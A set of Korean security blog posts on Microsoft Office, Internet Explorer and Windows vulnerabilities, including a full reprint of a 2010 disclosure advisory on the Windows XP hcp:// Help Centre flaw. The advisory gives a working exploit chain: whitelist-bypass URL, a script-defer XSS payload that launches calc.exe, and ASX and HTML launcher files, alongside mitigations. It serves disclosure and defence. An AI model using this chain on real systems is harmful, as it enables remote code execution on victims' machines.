지난 9월 28일, 중국의 Qihoo 360 Core Security에서는 CVE-2017-11826 취약점을 이용하는 공격코드가 인터넷에서 발견되었다고 발표했다. 이 취약점은 현재 제공되는 오피스 워드 전제품에서 발생할 수 있으며, 다만, 공격 대상은 제한적이라고 한다. 공격자는 기존의 WORD 문서를 공격하는 방식과 동일하게 RTF 파일에 조작된 .docx 파일을 임베디드 시키는 방식을 이용한다.

 

보다 자세한 자료는 아래 링크를 참고한다.

 

 

참고로 해당 취약점은 2017년 10월 정기 보안 업데이트에서 패치를 발표했다.

 

 

고맙습니다.

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    구글의 엔지니어가 공개해서 문제가 좀 시끄러웠던 윈도우 도움말 센터의 취약점이 이번 7월 정기 업데이트에서 해결될 예정입니다.

    이번 발표에는 모두 4가지의 보안 취약점에 대한 해결책이 제시될 예정입니다.

    그 중에 원격에서 코드를 실행할 수 있는 치명적인 취약점이 3건이고, 나머지 한건은 중요로 분류되어 있습니다.

    보다 자세한 사항은 아래 링크를 참고하십시오.


    감사합니다.




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      지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

      아래 글상자는 공개한 공격 코드입니다.

      Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
      ----------------------------------------------------------------------------
      
      Help and Support Centre is the default application provided to access online
      documentation for Microsoft Windows. Microsoft supports accessing help documents
      directly via URLs by installing a protocol handler for the scheme "hcp", 
      a typical example is provided in the Windows XP Command Line Reference,
      available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
      
      Using hcp:// URLs is intended to be safe, as when invoked via the registered
      protocol handler the command line parameter /fromhcp is passed to the help
      centre application. This flag switches the help centre into a restricted mode,
      which will only permit a whitelisted set of help documents and parameters.
      
      This design, introduced in SP2, is reasonably sound. A whitelist of trusted
      documents is a safe way of allowing interaction with the documentation from
      less-trusted sources. Unfortunately, an implementation error in the whitelist
      allows it to be evaded.
      
      URLs are normalised and unescaped prior to validation using
      MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
      escape sequences into their original characters, the relevant code from
      helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
      
      .text:0106684C Unescape:
      .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
      .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
      .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
      .text:01066853        call    ds:wcslen            ; find the remaining length.
      .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
      xdigits.
      .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
      .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
      .text:01066861        mov     dl, cl
      .text:01066863        neg     dl
      .text:01066865        sbb     edx, edx
      .text:01066867        and     edx, 3
      .text:0106686A        inc     edx
      .text:0106686B        inc     edx
      .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
      .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
      .text:01066870        test    cl, cl
      .text:01066872        movzx   eax, word ptr [esi+2]
      .text:01066876        push    eax
      .text:01066877        jz      short NotUnicode
      .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
      .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
      sequence.
      .text:01066880        movzx   eax, word ptr [esi+4]
      .text:01066884        push    eax
      .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
      total <<= 4;
      .text:01066888        call    HexToNum             
      .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
      .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
      .text:01066893        push    eax
      .text:01066894        shl     edi, 4
      .text:01066897        call    HexToNum
      .text:0106689C        or      edi, eax
      .text:0106689E        movzx   eax, word ptr [esi+8]
      .text:010668A2        push    eax
      .text:010668A3        shl     edi, 4
      .text:010668A6        call    HexToNum
      .text:010668AB        or      edi, eax
      .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
      .text:010668B0        jmp     short FinishedEscape
      .text:010668B2
      .text:010668B2 NotUnicode:                             
      .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
      instead of %u0041)
      .text:010668B7        mov     edi, eax
      .text:010668B9        movzx   eax, word ptr [esi]
      .text:010668BC        push    eax
      .text:010668BD        call    HexToNum
      .text:010668C2        shl     eax, 4
      .text:010668C5        or      edi, eax
      .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
      .text:010668CA
      .text:010668CA FinishedEscape:
      .text:010668CA        test    di, di
      .text:010668CD        jz      short loc_10668DA
      .text:010668CF
      .text:010668CF LiteralChar:
      .text:010668CF        push    edi                  ; append the final value to the normalised string using a 
      std::string append.
      .text:010668D0        mov     ecx, [ebp+unescaped]
      .text:010668D3        push    1
      .text:010668D5        call    std::string::append
      .text:010668DA        mov     di, [esi]            ; fetch the next input character.
      .text:010668DD        test    di, di               ; have we reached the NUL terminator?
      .text:010668E0        jnz     Unescape             ; process next char.
      
      This code seems sane, but an error exists due to how MPC::HexToNum() handles
      error conditions, the relevant section of code is annotated below.
      
      .text:0102D32A        mov     edi, edi
      .text:0102D32C        push    ebp
      .text:0102D32D        mov     ebp, esp              ; function prologue.
      .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
      .text:0102D332        cmp     eax, '0'
      .text:0102D335        jl      short CheckUppercase  ; is it a digit?
      .text:0102D337        cmp     eax, '9'
      .text:0102D33A        jg      short CheckUppercase
      .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
      .text:0102D33F        jmp     short Complete   
      .text:0102D341 CheckUppercase:
      .text:0102D341        cmp     eax, 'A'
      .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
      .text:0102D346        cmp     eax, 'F'
      .text:0102D349        jg      short CheckLowercase
      .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
      .text:0102D34E        jmp     short Complete   
      .text:0102D350 CheckLowercase:
      .text:0102D350        cmp     eax, 'a'
      .text:0102D353        jl      short Invalid         ; lowercase xdigit?
      .text:0102D355        cmp     eax, 'f'
      .text:0102D358        jg      short Invalid    
      .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
      .text:0102D35D        jmp     short Complete    
      .text:0102D35F Invalid:     
      .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
      .text:0102D362 Complete:   
      .text:0102D362        pop     ebp
      .text:0102D363        retn    4
      
      Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
      MPC::HexToNum() as required, and therefore can be manipulated into appending
      unexpected garbage onto std::strings. This error may appear benign, but we can
      use the miscalculations produced later in the code to evade the /fromhcp
      whitelist.
      
      Assuming that we can access arbitrary help documents (full details of how the
      MPC:: error can be used to accomplish this will be explained below), we must
      identify a document that can be controlled purely from the URL used to access it.
      
      After browsing the documents available in a typical installation, the author
      concluded the only way to do this would be a cross site scripting error. After
      some careful searching, a candidate was discovered:
      
      hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
      
      This document is available in a default installation, and due to insufficient
      escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
      to a DOM-type XSS. However, the escaping routine will abort encoding if characters
      such as '=' or '"' or others are specified. 
      
      It's not immediately obvious that this error is still exploitable, simple
      tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
      isn't helpful as the code isn't evaluated again. In situations like this, the
      best course of action is to harass lcamtuf until he gives you the solution,
      which of course his encyclopaedic knowledge of browser security quirks produced
      immediately.
      
      <script defer>code</script>
      
      The defer property is an IE-ism which solves the problem, documented by
      Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
      Now that we are armed with knowledge of this trick, because these help
      documents are in a privileged zone, we can simply execute commands.
      
      You can test this with a command like so (assuming a recent IE):
      
      C:\> ver
      Microsoft Windows XP [Version 5.1.2600]
      C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
      defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
      C:\>
      
      While this is fun, this isn't a vulnerability unless an untrusted third party
      can force you to access it. Testing suggests that by default, accessing an
      hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
      other browsers) will result in a prompt. Although most users will click through
      this prompt (perfectly reasonable, protocol handlers are intended to be safe),
      it's not a particularly exciting attack.
      
      I've found a way to avoid the prompt in a default Windows XP installation in all
      major browsers, The solution is to invoke the protocol handler from within an
      <iframe> in an ASX HtmlView element. There are probably other ways.
      
      http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
      
      The version of Windows Media Player that is available by default in Windows XP
      is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
      content. Later versions also can be used, with some minor complications.
      
      Thus, the attack will look like this:
      
      $ cat simple.asx 
      <ASX VERSION="3.0">
      <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
      <ENTRY>
         <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
      </ENTRY>
      </ASX>
      
      Where starthelp.html contains something like:
      
      $ cat starthelp.html 
      <iframe src="hcp://...">
      
      Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
      
      $ cat launchurl.html 
      <html>
      <head><title>Testing HCP</title></head>
      <body>
        <h1>OK</h1>
        <script>
              // HCP:// Vulnerability, Tavis Ormandy, June 2010.
              var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;
      
              if (window.navigator.appName == "Microsoft Internet Explorer") {
                  // Internet Explorer
                  var o = document.createElement("OBJECT");
                  o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                  o.openPlayer(asx);
              } else {
                  // Mozilla, Chrome, Etc.
                  var o = document.createElement("IFRAME");
                  o.setAttribute("src", asx);
                  document.body.appendChild(o);
              }
        </script>
      </body>
      </html>
      
      Therefore, we have the following interactions between multiple complex systems
      chained together:
      
      - From an html page, email, document, or other application force a user to
        fetch a .ASX file containing an HtmlView element.
      - From the HtmlView element, invoke the hcp protocol handler that would normally
        require confirmation.
      - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
        string miscalculations caused by failing to check the return code of
        MPC::HexToNum().
      - Once the whitelist has been defeated, invoke the Help document with a known
        DOM XSS due to GetServerName() insufficient escaping.
      - Use the defer property of a script tag to execute script in a privileged zone
        even after the page has been rendered.
      - Invoke an arbitrary command using the wscript.shell object.
      
      Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
      whitelist took some analysis, but the result looks like the following.
      
      hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
      A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
      %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
      %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
      A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
      Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
      3C/script%3E
      
      --------------------
      Affected Software
      ------------------------
      
      At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
      is enhanced against IE >= 8 and other major browsers if Windows Media Player is
      available, but an installation is still vulnerable without it.
      
      Machines running version of IE less than 8 are, as usual, in even more trouble.
      
      In general, choice of browser, mail client or whatever is not relevant, they
      are all equally vulnerable.
      
      --------------------
      Consequences
      -----------------------
      
      Upon successful exploitation, a remote attacker is able to execute arbitrary
      commands with the privileges of the current user.
      
      I've prepared a demonstration for a typical Windows XP installation with
      Internet Explorer 8, and the default Windows Media Player 9.
      
      http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
      
      In IE7 on Windows XP, just visiting this URL should be sufficient:
      
      http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
      
      Some minor modifications will be required to target other configurations, this
      is simply an attempt to demonstrate the problem. I'm sure the smart guys at
      metasploit will work on designing reliable attacks, as security professionals
      require these to do their jobs.
      
      Additionally, my demonstration is not intended to be stealthy, a real
      attack would barely be noticable to the victim. Perhaps the only unavoidable
      signal would be the momentary appearance of the Help Centre window before the
      attacker hides it. There are multiple trivial techniques that can be used to
      accomplish this.
      
      Browsers are useful to demonstrate the problem, but there are certainly other
      attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
      be used across applications.
      
      -------------------
      Mitigation
      -----------------------
      
      If you believe you may be affected, you should consider applying one of the
      workarounds described below.
      
      Few users rely on Help Centre urls, it is safe to temporarily disable them
      by removing HKCR\HCP\shell\open. This modification can be deployed easily using
      GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
      here
      
      http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
      
      A few caveats, 
      
          * I am aware that some support technicians rely on the Remote Assistance
            tool provided by the Help Center application using shortcuts like
            "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
            to use this technique by substituting "explorer.exe hcp://..." for
            "helpctr.exe /url hcp://...", without relying on the protocol handler.
      
          * One or two links in explorer, such as selecting "Help" from the Control
            Panel category view, may no longer function. If this concerns you, it is
            possible to gracefully degrade by replacing the protocol handler with a
            command to open a static intranet support page, e.g.
            "chrome.exe http://techsupport.intranet";.
      
          * As always, if you do not use this feature, consider permanently disabling
            it in order to reduce attack surface. Historically, disabling unused
            protocol handlers has always proven to be a wise investment in security. 
      
      In the unlikely event that you heavily rely on the use of hcp://, I have
      created an unofficial (temporary) hotfix. You may use it under the terms of
      the GNU General Public License, version 2 or later. Of course, you should only
      use it as a last resort, carefully test the patch and make sure you understand
      what it does (full source code is included). It may be necessary to modify it
      to fit your needs.
      
      The package is availble for x86 here:
      
      http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
      
      [ NOTE: Please avoid linking to this file out of context, it is intended for
              consideration as a potential mitigation by experienced administrators,
              and is not suitable for consumption by end-users ]
      
      The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
      return zero on error, rather than -1. Nothing is changed on disk, and it can be
      safely removed at anytime. Of course, the result of an invalid unescape is still
      incorrect, but this specific vulnerability should be rendered inert. I would be
      greatful if the community could contribute bugfixes, testing, an x64 port, and
      so on. Once information is in the open, we can all collaborate on our
      collective security.
      
      Some clarifications,
      
          * Fixing the XSS is not a solution, the root cause is the whitelist
            evasion, any mitigation that does not address this is simply papering
            over the issue. An army of researchers that specialise in XSS exists, and
            i'm sure they will turn their attention to help documents once they
            realise their value. Assume more will be discovered.
      
          * That said, if you are an XSS expert, examples in whitelisted pages
            (/services/index, /services/search, etc.) would be useful, your skills
            could be helpful making this important software safe.
      
          * Removing Windows Media player is not a solution, it simply makes a fun
            demo for IE8 and other modern browsers.
      
      Finally, you should take this opportunity to disable all browser plugins and
      SFS ActiveX controls that are not regularly used. End users can do this
      themselves in Google Chrome by viewing about:plugins and disabling the plugins
      that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
      interface.
      
      -------------------
      Solution
      -----------------------
      
      Microsoft was informed about this vulnerability on 5-Jun-2010, and they
      confirmed receipt of my report on the same day.
      
      Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
      has been the target of attacks multiple times in the past. I've concluded that
      there's a significant possibility that attackers have studied this component,
      and releasing this information rapidly is in the best interest of security.
      
      Those of you with large support contracts are encouraged to tell your support
      representatives that you would like to see Microsoft invest in developing
      processes for faster responses to external security reports.
      
      -------------------
      Credit
      -----------------------
      
      This bug was discovered by Tavis Ormandy.
      
      -------------------
      Greetz
      -----------------------
      
      Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
      Hawkes, Jagger, and all my other pimp colleagues.
      
      Special thanks to lcamtuf for his assistance with the deferred execution
      problem. You should read his Browser Security Handbook if you need to
      understand how web browser security /really/ works.
      
      http://code.google.com/p/browsersec/wiki/Main
      
      A colleague is organising a conference in Lucerne, Switzerland. He would really
      appreciate interesting papers from security people who want to talk about
      their research (travel, hotel, etc. covered).
      
      https://www.hashdays.ch/
      
      -------------------
      Notes
      -----------------------
      
      I would like to point out that if I had reported the MPC::HexToNum() issue
      without a working exploit, I would have been ignored.
      
      Without access to extremely smart colleagues, I would likely have given up,
      leaving you vulnerable to attack from those who just want root on your network
      and do not care about disclosure policies.
      
      This is another example of the problems with bug secrecy (or in PR speak,
      "responsible disclosure"), those of us who work hard to keep networks safe are
      forced to work in isolation without the open collaboration with our peers that
      we need, especially in complex cases like this, where creative thinking and
      input from experts in multiple disciplines is required to join the dots.
      
      A good place to start researching full disclosure would be this accessible
      and insightful essay by Bruce Schneier.
      
      http://www.schneier.com/essay-146.html
      
      His balanced coverage of the debate is also available in this essay.
      
      http://www.schneier.com/crypto-gram-0111.html#1
      
      Finally, a reminder that this documents contains my own opinions, I do
      not speak for or represent anyone but myself.
      
      -------------------
      References
      -----------------------
      
      hcp:// has been broken a few times over the years, for example:
      
      - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
      - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
      
      The current design is actually pretty sound, I'm sure Microsoft are
      dissapointed they missed this flaw. In their defense, I think there's a good
      chance I would have also missed this in code review.
      
      -- 
      -------------------------------------
      taviso () cmpxchg8b com | pgp encrypted mail preferred
      -------------------------------------------------------


      구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

      문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

      한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

      출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

      공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
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        취약점 권고 사이트로 유명한 시큐니아(http://www.secunia.com)에 어제 새로운 매우 중요한 취약점이 발표되어 간단히 정리해 올립니다.

         위험도: 매우 치명적(Extremely critical)

        영향: 원격에서 시스템을 액세스할 수 있음

        해결방안: 아직 없음

        문제가 발생한 소프트웨어: Internet Explorer 7

         설명: 인터넷 익스플로러에서 취약점이 발견되었습니다. 이 취약점을 통해 악의를 가진 사용자가 원격에서 시스템을 침해할 수 있습니다.

         취약점은 XML 태그를 처리할 때 발생하는 오류에 기인합니다. 이는 특수하게 조작된 HTML 문서를 통해 할당이 해제된 메모리를 참조할 수 없게 하는 방식으로 발생합니다.

        성공적으로 공격을 시도한 이후에는 의도한 코드를 실행할 수 있어 매우 위험합니다.

         알림: 취약점이 발견되고 이에 관련된 익스플로잇 코드가 인터넷에 출현한 상태입니다.

         이 취약점은 윈도우 XP SP3에 설치된 IE7에서 확인되었으며, 다른 운영체제에서도 마찬가지일 것으로 예상됩니다.

         대안: 신뢰할 수 없는 사이트는 가급적 방문하지 않아야 합니다.

         참고자료: KnownSec - http://www.scanw.com/blog/archives/303

         참고자료에 따르면 11월 달에 이 취약점이 발견되었으며 12월 9일에 이르러서야 본격적으로 익스플로잇 코드가 유통되기 시작했습니다.

        이를 방어하기 위해서는 DEP 보호를 해야 합니다

        (시스템 -> 고급 -> 성능(설정) -> 데이터 실행 방지(DEP) 탭에서 사용하도록 설정합니다.

        또한, 현재 공격을 주도하는 사이트로는 wwwwyyyy.cn과 sllwrnm5.cn입니다.

        따라서, HOSTS. 파일에 다음의 내용을 추가하여 사용자 피시가 은연 중에 공격 사이트에 접속하지 않도록 방지합니다.

        127.0.0.1 wwwwyyyy.cn

        127.0.0.1 sllwrnm5.cn

         감사합니다.

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          새로운 제로데이 취약점이 발견되었다는 무시무시한 소식입니다. 이는 인터넷 익스플로러를 통해 공격당할 수 있으므로 영향력이 매우 크다 할 수 있겠습니다. 일단 현재 외신으로 알려진 사항을 정리해서 올려 드립니다. 자세한 사항은 소식이 올라오는대로 계속 추가하여 '갱신' 포스팅하도록 하겠습니다.

          지난 주 수요일, 마이크로소프트는 오피스에 관련된 새로운 제로데이 취약점에 대한 보고서를 조사하기 시작했다고 밝혔다. 이 취약점을 통해 해커는 윈도 시스템에 특정한 악성 코드를 실행하거나 서비스 거부 공격을 할 수 있다고 한다.

          안티 바이러스 제작사인 시만텍은 권고안을 통해 오피스 2000의 UA 액티브-X 컨트롤에 버퍼 오버플로 취약점이 있다고 밝혔으며, 마이크로소프트도 이를 확인했다고 한다.

          이 문제의 원인은 'OUACTRL.OCX'라는 액티브-X 컨트롤로 밝혀졌으며, 정확히는 너무 많은 데이터가 'HelpPopup' 메소드로 전달될 때 발생하는 것으로 알려졌다. 공격자가 인터넷 익스플로러를 통해 이 액티브-X 컨트롤을 사용하여 보안 컨텍스트내에서 의도된 공격용 코드를 실행할 수 있으며, 공격이 실패하더라도 서비스 거부 상태에 다다른다고 한다.

          마이크로소프트는 좀더 자세한 연구를 마친 후에 이에 대해 어떤 조치를 취해야 할지 알리겠다고 한다.

          현재 알려진 대안으로는 해당 액티브-X 컨트롤의 사용을 일시 중지하게 하는 것으로 다음의 CLSID를 제거하는 방안이다.

          CLSID:8936033C-4A50-11D1-98A4-00A0C90F27C6


          출처: ComputerWeekly.com
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